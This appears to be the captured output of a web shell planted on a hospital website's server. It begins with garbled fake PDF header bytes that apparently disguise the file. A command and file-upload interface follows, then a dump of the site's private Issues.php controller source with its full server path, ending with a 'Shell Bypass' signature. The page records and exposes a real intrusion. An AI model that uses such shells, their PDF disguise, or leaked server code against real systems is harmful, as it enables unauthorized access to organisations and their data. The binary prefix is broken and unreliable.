%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/api/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/api/application/controllers/Issues.php
<?php
class Issues extends MY_Controller {
    function __construct() {
        parent::__construct();
		not_logged_res(); 
		$this->checkAccess('manage_issues');
        $this->load->model("issues_model", "issues");
        $this->load->model("dataset_model", "dataset");
        $this->load->model("leads_model", "leads");
    }
	
	function init(){
        $peoplesoft_issues_only=$this->is_access('peoplesoft_issues_only');
		$data=$this->issues->lists($peoplesoft_issues_only);
		$data['catsList']=$this->issues->listCats(); 
		$data['used_cats']=$this->issues->used_cats();
        $data['issueStatusLookup']=issueStatusLookup();
        $data['peoplesoft_issues_only']=$peoplesoft_issues_only;
		echo "<pre>"; print_r($data['issueStatusLookup']); die;
		$this->json_data($data);
	}

	function lists(){
		$data=$this->issues->lists($this->is_access('peoplesoft_issues_only'));
		$this->json_data($data);
	}

	function detail($id){
		$data['dtl']=$this->issues->detail($id);
		$this->json_data($data);
	}

	function delete(){
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		$file=$this->db->select("file")->get_where("issues_reported", array('id'=>$id))->row()->file;
		if($this->issues->delete($id)){
			if($file){
				del_file(UP_PATHF.'issues/'.$file);
			}
			$inf['success']='T';
			$inf['msg']="Deleted successfully";
		}
		$this->json_data($inf);
	}

	function updateStatus(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$id=intval($this->input->post('id'));
		$status=intval($this->input->post('status'));

		$data=array('id'=>$id, 'status'=>$status);
		if($status==3){
			$data['close_date']=currentDT();
		}else{
			$data['close_date']=NULL;
		}
		if($this->common->save($data, "issues_reported")){
			$inf['success']='T';
			$inf['msg']="Status updated";
		}
		$this->json_data($inf);
	}

	function addComment(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$id=intval($this->input->post('id'));
		$comment=trim($this->input->post('comment'));
		if(!$comment){
			$inf['msg']="Please write message"; $this->json_data($inf);
		}
		if($this->db->select("status")->get_where("issues_reported", array('id'=>$id))->row()->status==3){
			$inf['msg']="You can not comment on closed issue"; $this->json_data($inf);
		}

		$data=array('parent_id'=>$id, 'description'=>$comment, 'comment_by_id'=>USER_ID);
		if($this->common->save($data, "issues_reported")){
			$this->common->sendIssueCommentToApplicant($id, $comment);
			$inf['success']='T';
			$inf['msg']="Comment added";
			$inf['dtl']=$this->issues->detail($id);
		}
		$this->json_data($inf);
	}

	function deleteComment(){
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		$parent_id=intval($this->input->post('parent_id'));
		if($this->issues->delete($id)){
			$inf['success']='T';
			$inf['msg']="Comment deleted successfully";
			$inf['dtl']=$this->issues->detail($parent_id);
		}
		$this->json_data($inf);
	}

	
	/** Category */
	function listCats(){
		$data['catsList']=$this->issues->listCats();
		$this->json_data($data);
	}
	
	function saveCat(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		if($post){
			$id=$post['id']=intval($post['id']);
			$this->form_validation->set_rules('title', 'Category', 'required', $this->req);
			
			$inf['success']='F';
			if(@$this->form_validation->run() == FALSE){
				$inf['errors']=$this->form_validation->get_errors();
				$inf['msg']=reset($inf['errors']);
            }else{
				$data=filter_value($post, array('id', 'title', 'disp_odr', 'status'));
				
				if($cat_id=$this->common->save($data, "issues_cats")){
					$inf['id']=$cat_id;
					$this->db->delete('issues',array('cat_id' => $cat_id));
					if(sizeof($post['issue_title']) && !empty($post['issue_title'][0])){
						foreach($post['issue_title'] as $k=>$val){
							$data_ins['cat_id']=$cat_id;
							$data_ins['title']=$val;
							$data_ins['disp_odr']=$post['issue_disp_odr'][$k];
							$this->common->save($data_ins, "issues");
						}
					}
					$inf['success']='T';
					$inf['msg']='Issue category '.($id?'updated':'added').' successfully';
				}
            }
			$this->json_data($inf);
		}
	}
	
	function catDetail($id=0){
		$dtl=$this->issues->catDetail($id);
		$this->json_data($dtl);
	}
	
	function deleteCat(){
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->issues->deleteCat($id)){
			$inf['success']='T';
			$inf['msg']="Category deleted successfully";
		}
		$this->json_data($inf);
    }
    
    function markPeopleSoftIssue(){
        $post=$this->input->post();
        $inf=array('success'=>'F', 'msg'=>'Error!');
        $d=['id'=>$post['id'], 'is_peoplesoft'=>$post['is_peoplesoft']];
        if($post['id'] && $this->dba->save("issues_reported", $d)){
            $inf['success']='T';
            $inf['msg']="Updated";
        }
        $this->json_data($inf);
    }
}

//EOF

Kontol Shell Bypass